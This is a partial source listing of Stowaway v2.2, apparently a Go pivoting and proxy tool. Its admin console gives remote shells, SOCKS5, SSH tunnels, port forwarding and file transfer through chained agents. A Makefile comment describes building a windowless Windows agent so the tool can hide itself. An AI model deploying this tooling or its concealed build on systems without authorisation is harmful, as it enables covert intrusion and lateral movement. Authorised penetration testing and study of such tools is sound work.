├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── README_EN.md ├── admin ├── admin.go ├── admin_win.go ├── cli │ ├── cli.go │ ├── helper.go │ ├── history.go │ ├── interactive.go │ └── interactive_win.go ├── handler │ ├── backward.go │ ├── connect.go │ ├── file.go │ ├── forward.go │ ├── heartbeat.go │ ├── listen.go │ ├── memo.go │ ├── offline.go │ ├── shell.go │ ├── socks.go │ ├── ssh.go │ ├── sshtunnel.go │ └── status.go ├── initial │ ├── method.go │ ├── parser.go │ └── parser_win.go ├── manager │ ├── backward.go │ ├── forward.go │ ├── manager.go │ ├── others.go │ └── socks.go ├── printer │ └── printer.go ├── process │ ├── children.go │ ├── process.go │ └── process_win.go └── topology │ └── topology.go ├── agent ├── agent.go ├── handler │ ├── backward.go │ ├── connect.go │ ├── file.go │ ├── forward.go │ ├── listen.go │ ├── shell.go │ ├── socks.go │ ├── ssh.go │ └── sshtunnel.go ├── initial │ ├── method.go │ └── parser.go ├── manager │ ├── backward.go │ ├── children.go │ ├── forward.go │ ├── manager.go │ ├── others.go │ └── socks.go └── process │ ├── offline.go │ └── process.go ├── ansicon └── ansi189-bin.zip ├── crypto ├── aes.go └── gzip.go ├── global └── global.go ├── go.mod ├── go.sum ├── img └── logo.png ├── protocol ├── http.go ├── protocol.go ├── raw.go └── websocket.go ├── script └── reuse.py ├── share ├── file.go ├── preauth.go ├── proxy.go └── transport │ ├── tls.go │ └── wrapper.go └── utils └── utils.go /.gitignore: -------------------------------------------------------------------------------- 1 | release/ 2 | .vscode/ 3 | .DS_Store 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 ph4ntom 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BUILD_ENV = CGO_ENABLED=0 2 | OPTIONS = -trimpath -ldflags "-w -s" 3 | 4 | .PHONY: all admin agent linux_agent windows_agent macos_agent mips_agent arm_agent windows_admin linux_admin macos_admin windows_nogui_agent freebsd_agent freebsd_admin clean 5 | 6 | all: admin agent 7 | 8 | admin: 9 | ${BUILD_ENV} GOOS=linux GOARCH=386 go build ${OPTIONS} -o release/linux_x86_admin admin/admin.go 10 | ${BUILD_ENV} GOOS=linux GOARCH=amd64 go build ${OPTIONS} -o release/linux_x64_admin admin/admin.go 11 | ${BUILD_ENV} GOOS=linux GOARCH=arm64 go build ${OPTIONS} -o release/linux_arm64_admin admin/admin.go 12 | ${BUILD_ENV} GOOS=windows GOARCH=amd64 go build ${OPTIONS} -o release/windows_x64_admin.exe admin/admin_win.go 13 | ${BUILD_ENV} GOOS=windows GOARCH=386 go build ${OPTIONS} -o release/windows_x86_admin.exe admin/admin_win.go 14 | ${BUILD_ENV} GOOS=darwin GOARCH=amd64 go build ${OPTIONS} -o release/macos_x64_admin admin/admin.go 15 | ${BUILD_ENV} GOOS=darwin GOARCH=arm64 go build ${OPTIONS} -o release/macos_arm64_admin admin/admin.go 16 | ${BUILD_ENV} GOOS=freebsd GOARCH=386 go build ${OPTIONS} -o release/freebsd_x86_admin admin/admin.go 17 | ${BUILD_ENV} GOOS=freebsd GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/freebsd_arm_admin admin/admin.go 18 | 19 | agent: 20 | ${BUILD_ENV} GOOS=linux GOARCH=386 go build ${OPTIONS} -o release/linux_x86_agent agent/agent.go 21 | ${BUILD_ENV} GOOS=linux GOARCH=amd64 go build ${OPTIONS} -o release/linux_x64_agent agent/agent.go 22 | ${BUILD_ENV} GOOS=linux GOARCH=arm64 go build ${OPTIONS} -o release/linux_arm64_agent agent/agent.go 23 | ${BUILD_ENV} GOOS=windows GOARCH=amd64 go build ${OPTIONS} -o release/windows_x64_agent.exe agent/agent.go 24 | ${BUILD_ENV} GOOS=windows GOARCH=386 go build ${OPTIONS} -o release/windows_x86_agent.exe agent/agent.go 25 | ${BUILD_ENV} GOOS=darwin GOARCH=amd64 go build ${OPTIONS} -o release/macos_x64_agent agent/agent.go 26 | ${BUILD_ENV} GOOS=darwin GOARCH=arm64 go build ${OPTIONS} -o release/macos_arm64_agent agent/agent.go 27 | ${BUILD_ENV} GOOS=linux GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/arm_eabi5_agent agent/agent.go 28 | ${BUILD_ENV} GOOS=linux GOARCH=mipsle go build ${OPTIONS} -o release/mipsel_agent agent/agent.go 29 | ${BUILD_ENV} GOOS=freebsd GOARCH=386 go build ${OPTIONS} -o release/freebsd_x86_agent agent/agent.go 30 | ${BUILD_ENV} GOOS=freebsd GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/freebsd_arm_agent agent/agent.go 31 | 32 | linux_agent: 33 | ${BUILD_ENV} GOOS=linux GOARCH=386 go build ${OPTIONS} -o release/linux_x86_agent agent/agent.go 34 | ${BUILD_ENV} GOOS=linux GOARCH=amd64 go build ${OPTIONS} -o release/linux_x64_agent agent/agent.go 35 | ${BUILD_ENV} GOOS=linux GOARCH=arm64 go build ${OPTIONS} -o release/linux_arm64_agent agent/agent.go 36 | 37 | windows_agent: 38 | ${BUILD_ENV} GOOS=windows GOARCH=amd64 go build ${OPTIONS} -o release/windows_x64_agent.exe agent/agent.go 39 | ${BUILD_ENV} GOOS=windows GOARCH=386 go build ${OPTIONS} -o release/windows_x86_agent.exe agent/agent.go 40 | 41 | macos_agent: 42 | ${BUILD_ENV} GOOS=darwin GOARCH=amd64 go build ${OPTIONS} -o release/macos_x64_agent agent/agent.go 43 | ${BUILD_ENV} GOOS=darwin GOARCH=arm64 go build ${OPTIONS} -o release/macos_arm64_agent agent/agent.go 44 | 45 | mips_agent: 46 | ${BUILD_ENV} GOOS=linux GOARCH=mipsle go build ${OPTIONS} -o release/mipsel_agent agent/agent.go 47 | 48 | arm_agent: 49 | ${BUILD_ENV} GOOS=linux GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/arm_eabi5_agent agent/agent.go 50 | 51 | freebsd_agent: 52 | ${BUILD_ENV} GOOS=freebsd GOARCH=386 go build ${OPTIONS} -o release/freebsd_x86_agent agent/agent.go 53 | ${BUILD_ENV} GOOS=freebsd GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/freebsd_arm_agent agent/agent.go 54 | 55 | windows_admin: 56 | ${BUILD_ENV} GOOS=windows GOARCH=amd64 go build ${OPTIONS} -o release/windows_x64_admin.exe admin/admin_win.go 57 | ${BUILD_ENV} GOOS=windows GOARCH=386 go build ${OPTIONS} -o release/windows_x86_admin.exe admin/admin_win.go 58 | 59 | linux_admin: 60 | ${BUILD_ENV} GOOS=linux GOARCH=386 go build ${OPTIONS} -o release/linux_x86_admin admin/admin.go 61 | ${BUILD_ENV} GOOS=linux GOARCH=amd64 go build ${OPTIONS} -o release/linux_x64_admin admin/admin.go 62 | ${BUILD_ENV} GOOS=linux GOARCH=arm64 go build ${OPTIONS} -o release/linux_arm64_admin admin/admin.go 63 | 64 | macos_admin: 65 | ${BUILD_ENV} GOOS=darwin GOARCH=amd64 go build ${OPTIONS} -o release/macos_x64_admin admin/admin.go 66 | ${BUILD_ENV} GOOS=darwin GOARCH=arm64 go build ${OPTIONS} -o release/macos_arm64_admin admin/admin.go 67 | 68 | freebsd_admin: 69 | ${BUILD_ENV} GOOS=freebsd GOARCH=386 go build ${OPTIONS} -o release/freebsd_x86_admin admin/admin.go 70 | ${BUILD_ENV} GOOS=freebsd GOARCH=arm GOARM=5 go build ${OPTIONS} -o release/freebsd_arm_admin admin/admin.go 71 | 72 | # Here is a special situation 73 | # You can see Stowaway get the params passed by the user through console by default 74 | # But if you define the params in the program(instead of passing them by the console),you can just run Stowaway agent by double-click 75 | # Sounds great? Right? 76 | # But it is slightly weird on Windows since double-clicking Stowaway agent or entering "shell" command in Stowaway admin will spawn a cmd window 77 | # That makes Stowaway pretty hard to hide itself 78 | # To solve this,here is my solution 79 | # First, check the detail in "agent/shell.go", follow my instruction and change some codes 80 | # Then, run `make windows_nogui_agent` and get your bonus! 81 | 82 | windows_nogui_agent: 83 | ${BUILD_ENV} GOOS=windows GOARCH=amd64 go build -trimpath -ldflags="-w -s -H=windowsgui" -o release/windows_x64_agent.exe agent/agent.go 84 | ${BUILD_ENV} GOOS=windows GOARCH=386 go build -trimpath -ldflags="-w -s -H=windowsgui" -o release/windows_x86_agent.exe agent/agent.go 85 | 86 | clean: 87 | @rm release/* -------------------------------------------------------------------------------- /admin/admin.go: -------------------------------------------------------------------------------- 1 | //go:build !windows 2 | 3 | package main 4 | 5 | import ( 6 | "net" 7 | "os" 8 | "runtime" 9 | 10 | "Stowaway/admin/cli" 11 | "Stowaway/admin/initial" 12 | "Stowaway/admin/printer" 13 | "Stowaway/admin/process" 14 | "Stowaway/admin/topology" 15 | "Stowaway/global" 16 | "Stowaway/protocol" 17 | "Stowaway/share" 18 | 19 | "github.com/nsf/termbox-go" 20 | ) 21 | 22 | func init() { 23 | runtime.GOMAXPROCS(runtime.NumCPU()) 24 | } 25 | 26 | func main() { 27 | printer.InitPrinter() 28 | 29 | termbox.Init() 30 | termbox.SetCursor(0, 0) 31 | termbox.Flush() 32 | 33 | go listenCtrlC() 34 | 35 | options := initial.ParseOptions() 36 | 37 | cli.Banner() 38 | 39 | share.GeneratePreAuthToken(options.Secret) 40 | 41 | protocol.SetUpDownStream("raw", options.Downstream) 42 | 43 | topo := topology.NewTopology() 44 | go topo.Run() 45 | 46 | printer.Warning("[*] Waiting for new connection...\r\n") 47 | var conn net.Conn 48 | switch options.Mode { 49 | case initial.NORMAL_ACTIVE: 50 | conn = initial.NormalActive(options, topo, nil) 51 | case initial.NORMAL_PASSIVE: 52 | conn = initial.NormalPassive(options, topo) 53 | case initial.SOCKS5_PROXY_ACTIVE: 54 | proxy := share.NewSocks5Proxy(options.Connect, options.Socks5Proxy, options.Socks5ProxyU, options.Socks5ProxyP) 55 | conn = initial.NormalActive(options, topo, proxy) 56 | case initial.HTTP_PROXY_ACTIVE: 57 | proxy := share.NewHTTPProxy(options.Connect, options.HttpProxy) 58 | conn = initial.NormalActive(options, topo, proxy) 59 | default: 60 | printer.Fail("[*] Unknown Mode") 61 | os.Exit(0) 62 | } 63 | 64 | // kill listenCtrlC 65 | termbox.Interrupt() 66 | 67 | admin := process.NewAdmin(options, topo) 68 | 69 | topoTask := &topology.TopoTask{ 70 | Mode: topology.CALCULATE, 71 | } 72 | topo.TaskChan <- topoTask 73 | <-topo.ResultChan 74 | 75 | global.InitialGComponent(conn, options.Secret, protocol.ADMIN_UUID) 76 | 77 | admin.Run() 78 | } 79 | 80 | // let process exit if nothing connected 81 | func listenCtrlC() { 82 | for { 83 | event := termbox.PollEvent() 84 | if event.Type == termbox.EventInterrupt { 85 | break 86 | } 87 | 88 | if event.Key == termbox.KeyCtrlC { 89 | termbox.Close() 90 | os.Exit(0) 91 | } 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /admin/admin_win.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package main 4 | 5 | import ( 6 | "net" 7 | "os" 8 | "runtime" 9 | 10 | "Stowaway/admin/cli" 11 | "Stowaway/admin/initial" 12 | "Stowaway/admin/printer" 13 | "Stowaway/admin/process" 14 | "Stowaway/admin/topology" 15 | "Stowaway/global" 16 | "Stowaway/protocol" 17 | "Stowaway/share" 18 | ) 19 | 20 | func init() { 21 | runtime.GOMAXPROCS(runtime.NumCPU()) 22 | } 23 | 24 | func main() { 25 | printer.InitPrinter() 26 | 27 | options := initial.ParseOptions() 28 | 29 | cli.Banner() 30 | 31 | share.GeneratePreAuthToken(options.Secret) 32 | 33 | protocol.SetUpDownStream("raw", options.Downstream) 34 | 35 | topo := topology.NewTopology() 36 | go topo.Run() 37 | 38 | printer.Warning("[*] Waiting for new connection...\r\n") 39 | var conn net.Conn 40 | switch options.Mode { 41 | case initial.NORMAL_ACTIVE: 42 | conn = initial.NormalActive(options, topo, nil) 43 | case initial.NORMAL_PASSIVE: 44 | conn = initial.NormalPassive(options, topo) 45 | case initial.SOCKS5_PROXY_ACTIVE: 46 | proxy := share.NewSocks5Proxy(options.Connect, options.Socks5Proxy, options.Socks5ProxyU, options.Socks5ProxyP) 47 | conn = initial.NormalActive(options, topo, proxy) 48 | case initial.HTTP_PROXY_ACTIVE: 49 | proxy := share.NewHTTPProxy(options.Connect, options.HttpProxy) 50 | conn = initial.NormalActive(options, topo, proxy) 51 | default: 52 | printer.Fail("[*] Unknown Mode") 53 | os.Exit(0) 54 | } 55 | 56 | admin := process.NewAdmin(options, topo) 57 | 58 | topoTask := &topology.TopoTask{ 59 | Mode: topology.CALCULATE, 60 | } 61 | topo.TaskChan <- topoTask 62 | <-topo.ResultChan 63 | 64 | global.InitialGComponent(conn, options.Secret, protocol.ADMIN_UUID) 65 | 66 | admin.Run() 67 | } 68 | -------------------------------------------------------------------------------- /admin/cli/cli.go: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author: ph4ntom 3 | * @Date: 2021-03-08 14:44:07 4 | * @LastEditors: ph4ntom 5 | * @LastEditTime: 2021-03-18 15:59:02 6 | */ 7 | package cli 8 | 9 | import ( 10 | "fmt" 11 | ) 12 | 13 | const STOWAWAY_VERSION = "v2.2" 14 | 15 | // Banner 程序图标 16 | func Banner() { 17 | fmt.Printf(` 18 | .-') .-') _ ('\ .-') /' ('-. ('\ .-') /' ('-. 19 | ( OO ). ( OO) ) '.( OO ),' ( OO ).-. '.( OO ),' ( OO ).-. 20 | (_)---\_)/ '._ .-'),-----. ,--./ .--. / . --. /,--./ .--. / . --. / ,--. ,--. 21 | / _ | |'--...__)( OO' .-. '| | | | \-. \ | | | | \-. \ \ '.' / 22 | \ :' '. '--. .--'/ | | | || | | |,.-'-' | || | | |,.-'-' | | .-') / 23 | '..'''.) | | \_) | |\| || |.'.| |_)\| |_.' || |.'.| |_)\| |_.' |(OO \ / 24 | .-._) \ | | \ | | | || | | .-. || | | .-. | | / /\_ 25 | \ / | | '' '-' '| ,'. | | | | || ,'. | | | | | '-./ /.__) 26 | '-----' '--' '-----' '--' '--' '--' '--''--' '--' '--' '--' '--' 27 | { %s Author:ph4ntom } 28 | `, STOWAWAY_VERSION) 29 | } 30 | 31 | // ShowMainHelp 打印admin模式下的帮助 32 | func ShowMainHelp() { 33 | fmt.Print(` 34 | help Show help information 35 | detail Display connected nodes' detail 36 | topo Display nodes' topology 37 | use Select the target node you want to use 38 | exit Exit Stowaway 39 | `) 40 | } 41 | 42 | // ShowNodeHelp 打印node模式下的帮助 43 | func ShowNodeHelp() { 44 | fmt.Print(` 45 | help Show help information 46 | status Show node status,including socks/forward/backward 47 | listen Start port listening on current node 48 | addmemo Add memo for current node 49 | delmemo Delete memo of current node 50 | ssh Start SSH through current node 51 | shell Start an interactive shell on current node 52 | socks [username] [pass] Start a socks5 server 53 | stopsocks Shut down socks services 54 | connect Connect to a new node 55 | sshtunnel Use sshtunnel to add the node into our topology 56 | upload Upload file to current node 57 | download Download file from current node 58 | forward Forward local port to specific remote ip:port 59 | stopforward Shut down forward services 60 | backward Backward remote port(agent) to local port(admin) 61 | stopbackward Shut down backward services 62 | shutdown Terminate current node 63 | back Back to parent panel 64 | exit Exit Stowaway 65 | `) 66 | } 67 | -------------------------------------------------------------------------------- /admin/cli/helper.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "sort" 5 | ) 6 | 7 | type Helper struct { 8 | adminList []string 9 | nodeList []string 10 | 11 | adminTree *tireTree 12 | nodeTree *tireTree 13 | 14 | min int 15 | max int 16 | 17 | TaskChan chan *HelperTask 18 | ResultChan chan []string 19 | } 20 | 21 | type HelperTask struct { 22 | IsNodeMode bool 23 | Uncomplete string 24 | } 25 | 26 | type tireNode struct { 27 | isEnd bool 28 | children map[int]*tireNode 29 | } 30 | 31 | type tireTree struct { 32 | root *tireNode 33 | } 34 | 35 | func NewHelper() *Helper { 36 | helper := new(Helper) 37 | helper.adminList = []string{ 38 | "use", 39 | "detail", 40 | "topo", 41 | "help", 42 | "exit", 43 | } 44 | 45 | helper.nodeList = []string{ 46 | "help", 47 | "status", 48 | "listen", 49 | "addmemo", 50 | "delmemo", 51 | "ssh", 52 | "shell", 53 | "socks", 54 | "sshtunnel", 55 | "connect", 56 | "stopsocks", 57 | "upload", 58 | "download", 59 | "forward", 60 | "stopforward", 61 | "backward", 62 | "stopbackward", 63 | "shutdown", 64 | "back", 65 | "exit", 66 | } 67 | 68 | helper.min = 0 69 | helper.max = 11 70 | 71 | helper.adminTree = new(tireTree) 72 | helper.adminTree.root = new(tireNode) 73 | helper.adminTree.root.children = make(map[int]*tireNode) 74 | 75 | helper.nodeTree = new(tireTree) 76 | helper.nodeTree.root = new(tireNode) 77 | helper.nodeTree.root.children = make(map[int]*tireNode) 78 | 79 | helper.TaskChan = make(chan *HelperTask) 80 | helper.ResultChan = make(chan []string) 81 | 82 | return helper 83 | } 84 | 85 | func (helper *Helper) Run() { 86 | helper.insertAdmin() 87 | helper.insertNode() 88 | 89 | for { 90 | task := <-helper.TaskChan 91 | helper.ResultChan <- helper.search(task) 92 | } 93 | } 94 | 95 | func (helper *Helper) insertAdmin() { 96 | node := helper.adminTree.root 97 | for _, command := range helper.adminList { 98 | for i := 0; i < len(command); i++ { 99 | currentChar := int(command[i]) 100 | if _, ok := node.children[currentChar]; !ok { 101 | node.children[currentChar] = new(tireNode) 102 | node.children[currentChar].children = make(map[int]*tireNode) 103 | node = node.children[currentChar] 104 | continue 105 | } else { 106 | node = node.children[currentChar] 107 | continue 108 | } 109 | } 110 | node.isEnd = true 111 | node = helper.adminTree.root 112 | } 113 | } 114 | 115 | func (helper *Helper) insertNode() { 116 | node := helper.nodeTree.root 117 | for _, command := range helper.nodeList { 118 | for i := 0; i < len(command); i++ { 119 | currentChar := int(command[i]) 120 | if _, ok := node.children[currentChar]; !ok { 121 | node.children[currentChar] = new(tireNode) 122 | node.children[currentChar].children = make(map[int]*tireNode) 123 | node = node.children[currentChar] 124 | continue 125 | } else { 126 | node = node.children[currentChar] 127 | continue 128 | } 129 | } 130 | node.isEnd = true 131 | node = helper.nodeTree.root 132 | } 133 | } 134 | 135 | func (helper *Helper) search(task *HelperTask) []string { 136 | var complete []string 137 | var samePrefix string 138 | var node *tireNode 139 | 140 | if !task.IsNodeMode { 141 | node = helper.adminTree.root 142 | } else { 143 | node = helper.nodeTree.root 144 | } 145 | 146 | unComplete := task.Uncomplete 147 | 148 | if len(unComplete) < helper.min || len(unComplete) > helper.max { 149 | return complete 150 | } 151 | 152 | for i := 0; i < len(unComplete); i++ { 153 | currentChar := int(unComplete[i]) 154 | if _, ok := node.children[currentChar]; ok { 155 | samePrefix = samePrefix + string(unComplete[i]) 156 | node = node.children[currentChar] 157 | continue 158 | } else { 159 | return complete 160 | } 161 | } 162 | 163 | if samePrefix == "" { 164 | return complete 165 | } 166 | 167 | var diffSuffix []string 168 | var tSuffix string 169 | 170 | helper.getSuffix(node, &diffSuffix, tSuffix) 171 | 172 | for _, suffix := range diffSuffix { 173 | complete = append(complete, samePrefix+suffix) 174 | } 175 | 176 | sort.Strings(complete) 177 | 178 | return complete 179 | } 180 | 181 | func (helper *Helper) getSuffix(node *tireNode, suffix *[]string, tSuffix string) { 182 | if node.isEnd && len(node.children) != 0 { 183 | *suffix = append(*suffix, tSuffix) 184 | } 185 | 186 | if len(node.children) != 0 { 187 | for char := range node.children { 188 | ttSuffix := tSuffix + string(char) 189 | tNode := node.children[char] 190 | helper.getSuffix(tNode, suffix, ttSuffix) 191 | } 192 | } else { 193 | *suffix = append(*suffix, tSuffix) 194 | } 195 | } 196 | -------------------------------------------------------------------------------- /admin/cli/history.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "container/list" 5 | ) 6 | 7 | const ( 8 | // Mode 9 | RECORD = iota 10 | SEARCH 11 | // Type 12 | NORMAL 13 | SHELL 14 | SSH 15 | // Order 16 | BEGIN 17 | PREV 18 | NEXT 19 | ) 20 | 21 | type History struct { 22 | normal *historyList 23 | shell *historyList 24 | ssh *historyList 25 | 26 | TaskChan chan *HistoryTask 27 | ResultChan chan string 28 | } 29 | 30 | type historyList struct { 31 | storeList *list.List 32 | now *list.Element 33 | capacity int 34 | } 35 | 36 | type HistoryTask struct { 37 | Mode int 38 | Type int 39 | Order int 40 | Command string 41 | } 42 | 43 | func NewHistory() *History { 44 | history := new(History) 45 | history.normal = new(historyList) 46 | history.normal.storeList = list.New() 47 | history.normal.capacity = 100 48 | 49 | history.shell = new(historyList) 50 | history.shell.storeList = list.New() 51 | history.shell.capacity = 100 52 | 53 | history.ssh = new(historyList) 54 | history.ssh.storeList = list.New() 55 | history.ssh.capacity = 100 56 | 57 | history.TaskChan = make(chan *HistoryTask) 58 | history.ResultChan = make(chan string) 59 | return history 60 | } 61 | 62 | func (history *History) Run() { 63 | for { 64 | task := <-history.TaskChan 65 | switch task.Mode { 66 | case RECORD: 67 | history.record(task) 68 | case SEARCH: 69 | history.search(task) 70 | } 71 | } 72 | } 73 | 74 | func (history *History) record(task *HistoryTask) { 75 | switch task.Type { 76 | case NORMAL: 77 | history.normal.storeList.PushFront(task.Command) 78 | if history.normal.storeList.Len() > history.normal.capacity*2 { 79 | history.clean(task) 80 | } 81 | case SHELL: 82 | history.shell.storeList.PushFront(task.Command) 83 | if history.shell.storeList.Len() > history.shell.capacity*2 { 84 | history.clean(task) 85 | } 86 | case SSH: 87 | history.ssh.storeList.PushFront(task.Command) 88 | if history.ssh.storeList.Len() > history.ssh.capacity*2 { 89 | history.clean(task) 90 | } 91 | } 92 | } 93 | 94 | func (history *History) search(task *HistoryTask) { 95 | switch task.Order { 96 | case BEGIN: 97 | switch task.Type { 98 | case NORMAL: 99 | if history.normal.storeList.Len() > 0 { // avoid list is empty 100 | history.normal.now = history.normal.storeList.Front() 101 | } 102 | case SHELL: 103 | if history.shell.storeList.Len() > 0 { 104 | history.shell.now = history.shell.storeList.Front() 105 | } 106 | case SSH: 107 | if history.ssh.storeList.Len() > 0 { 108 | history.ssh.now = history.ssh.storeList.Front() 109 | } 110 | } 111 | case PREV: 112 | switch task.Type { 113 | case NORMAL: 114 | if history.normal.now != nil && history.normal.now.Prev() != nil { 115 | history.normal.now = history.normal.now.Prev() 116 | } 117 | case SHELL: 118 | if history.shell.now != nil && history.shell.now.Prev() != nil { 119 | history.shell.now = history.shell.now.Prev() 120 | } 121 | case SSH: 122 | if history.ssh.now != nil && history.ssh.now.Prev() != nil { 123 | history.ssh.now = history.ssh.now.Prev() 124 | } 125 | } 126 | case NEXT: 127 | switch task.Type { 128 | case NORMAL: 129 | if history.normal.now != nil && history.normal.now.Next() != nil { 130 | history.normal.now = history.normal.now.Next() 131 | } 132 | case SHELL: 133 | if history.shell.now != nil && history.shell.now.Next() != nil { 134 | history.shell.now = history.shell.now.Next() 135 | } 136 | case SSH: 137 | if history.ssh.now != nil && history.ssh.now.Next() != nil { 138 | history.ssh.now = history.ssh.now.Next() 139 | } 140 | } 141 | } 142 | 143 | switch task.Type { 144 | case NORMAL: 145 | if history.normal.now != nil { 146 | command := history.normal.now.Value.(string) 147 | history.ResultChan <- command 148 | } 149 | if history.normal.storeList.Len() == 0 { // avoid blocking the interactive panel if user press arrowup or arrowdown when no history node exists 150 | history.ResultChan <- "" 151 | } 152 | case SHELL: 153 | if history.shell.now != nil { 154 | command := history.shell.now.Value.(string) 155 | history.ResultChan <- command 156 | } 157 | if history.shell.storeList.Len() == 0 { 158 | history.ResultChan <- "" 159 | } 160 | case SSH: 161 | if history.ssh.now != nil { 162 | command := history.ssh.now.Value.(string) 163 | history.ResultChan <- command 164 | } 165 | if history.ssh.storeList.Len() == 0 { 166 | history.ResultChan <- "" 167 | } 168 | } 169 | } 170 | 171 | func (history *History) clean(task *HistoryTask) { 172 | switch task.Type { 173 | case NORMAL: 174 | for elementsRemain := history.normal.storeList.Len() - history.normal.capacity; elementsRemain > 0; elementsRemain-- { 175 | element := history.normal.storeList.Back() 176 | history.normal.storeList.Remove(element) 177 | } 178 | case SHELL: 179 | for elementsRemain := history.shell.storeList.Len() - history.shell.capacity; elementsRemain > 0; elementsRemain-- { 180 | element := history.shell.storeList.Back() 181 | history.shell.storeList.Remove(element) 182 | } 183 | case SSH: 184 | for elementsRemain := history.ssh.storeList.Len() - history.ssh.capacity; elementsRemain > 0; elementsRemain-- { 185 | element := history.ssh.storeList.Back() 186 | history.ssh.storeList.Remove(element) 187 | } 188 | } 189 | } 190 | -------------------------------------------------------------------------------- /admin/handler/connect.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "Stowaway/admin/manager" 5 | "Stowaway/admin/printer" 6 | "Stowaway/global" 7 | "Stowaway/protocol" 8 | "Stowaway/utils" 9 | ) 10 | 11 | func LetConnect(mgr *manager.Manager, route, uuid, addr string) error { 12 | normalAddr, _, err := utils.CheckIPPort(addr) 13 | if err != nil { 14 | return err 15 | } 16 | 17 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 18 | 19 | header := &protocol.Header{ 20 | Sender: protocol.ADMIN_UUID, 21 | Accepter: uuid, 22 | MessageType: protocol.CONNECTSTART, 23 | RouteLen: uint32(len([]byte(route))), 24 | Route: route, 25 | } 26 | 27 | connMess := &protocol.ConnectStart{ 28 | AddrLen: uint16(len([]byte(normalAddr))), 29 | Addr: normalAddr, 30 | } 31 | 32 | protocol.ConstructMessage(sMessage, header, connMess, false) 33 | sMessage.SendMessage() 34 | 35 | if ok := <-mgr.ConnectManager.ConnectReady; !ok { 36 | printer.Fail("\r\n[*] Cannot connect to node %s", addr) 37 | } 38 | 39 | return nil 40 | } 41 | 42 | func DispatchConnectMess(mgr *manager.Manager) { 43 | for { 44 | message := <-mgr.ConnectManager.ConnectMessChan 45 | 46 | switch mess := message.(type) { 47 | case *protocol.ConnectDone: 48 | if mess.OK == 1 { 49 | mgr.ConnectManager.ConnectReady <- true 50 | } else { 51 | mgr.ConnectManager.ConnectReady <- false 52 | } 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /admin/handler/file.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "Stowaway/admin/manager" 5 | "Stowaway/protocol" 6 | "Stowaway/share" 7 | 8 | "github.com/cheggaaa/pb" 9 | ) 10 | 11 | // generate new bar 12 | func NewBar(length int64) *pb.ProgressBar { 13 | bar := pb.New64(int64(length)) 14 | bar.SetTemplate(pb.Full) 15 | bar.Set(pb.Bytes, true) 16 | 17 | return bar 18 | } 19 | 20 | func StartBar(statusChan chan *share.Status, size int64) { 21 | bar := NewBar(size) 22 | 23 | for { 24 | status := <-statusChan 25 | switch status.Stat { 26 | case share.START: 27 | bar.Start() 28 | case share.ADD: 29 | bar.Add64(status.Scale) 30 | case share.DONE: 31 | bar.Finish() 32 | return 33 | } 34 | } 35 | } 36 | 37 | func DispatchFileMess(mgr *manager.Manager) { 38 | for { 39 | message := <-mgr.FileManager.FileMessChan 40 | 41 | switch mess := message.(type) { 42 | case *protocol.FileStatReq: 43 | mgr.FileManager.File.FileSize = int64(mess.FileSize) 44 | mgr.FileManager.File.SliceNum = mess.SliceNum 45 | mgr.ConsoleManager.OK <- true 46 | case *protocol.FileStatRes: 47 | if mess.OK == 1 { 48 | mgr.ConsoleManager.OK <- true 49 | } else { 50 | mgr.FileManager.File.Handler.Close() 51 | mgr.ConsoleManager.OK <- false 52 | } 53 | case *protocol.FileDownRes: 54 | mgr.ConsoleManager.OK <- false 55 | case *protocol.FileData: 56 | mgr.FileManager.File.DataChan <- mess.Data 57 | case *protocol.FileErr: 58 | mgr.FileManager.File.ErrChan <- true 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /admin/handler/forward.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | 7 | "Stowaway/admin/manager" 8 | "Stowaway/global" 9 | "Stowaway/protocol" 10 | ) 11 | 12 | type Forward struct { 13 | Addr string 14 | Port string 15 | } 16 | 17 | func NewForward(port, addr string) *Forward { 18 | forward := new(Forward) 19 | forward.Port = port 20 | forward.Addr = addr 21 | return forward 22 | } 23 | 24 | func (forward *Forward) LetForward(mgr *manager.Manager, route string, uuid string) error { 25 | listenAddr := fmt.Sprintf("0.0.0.0:%s", forward.Port) 26 | listener, err := net.Listen("tcp", listenAddr) 27 | if err != nil { 28 | return err 29 | } 30 | 31 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 32 | 33 | header := &protocol.Header{ 34 | Sender: 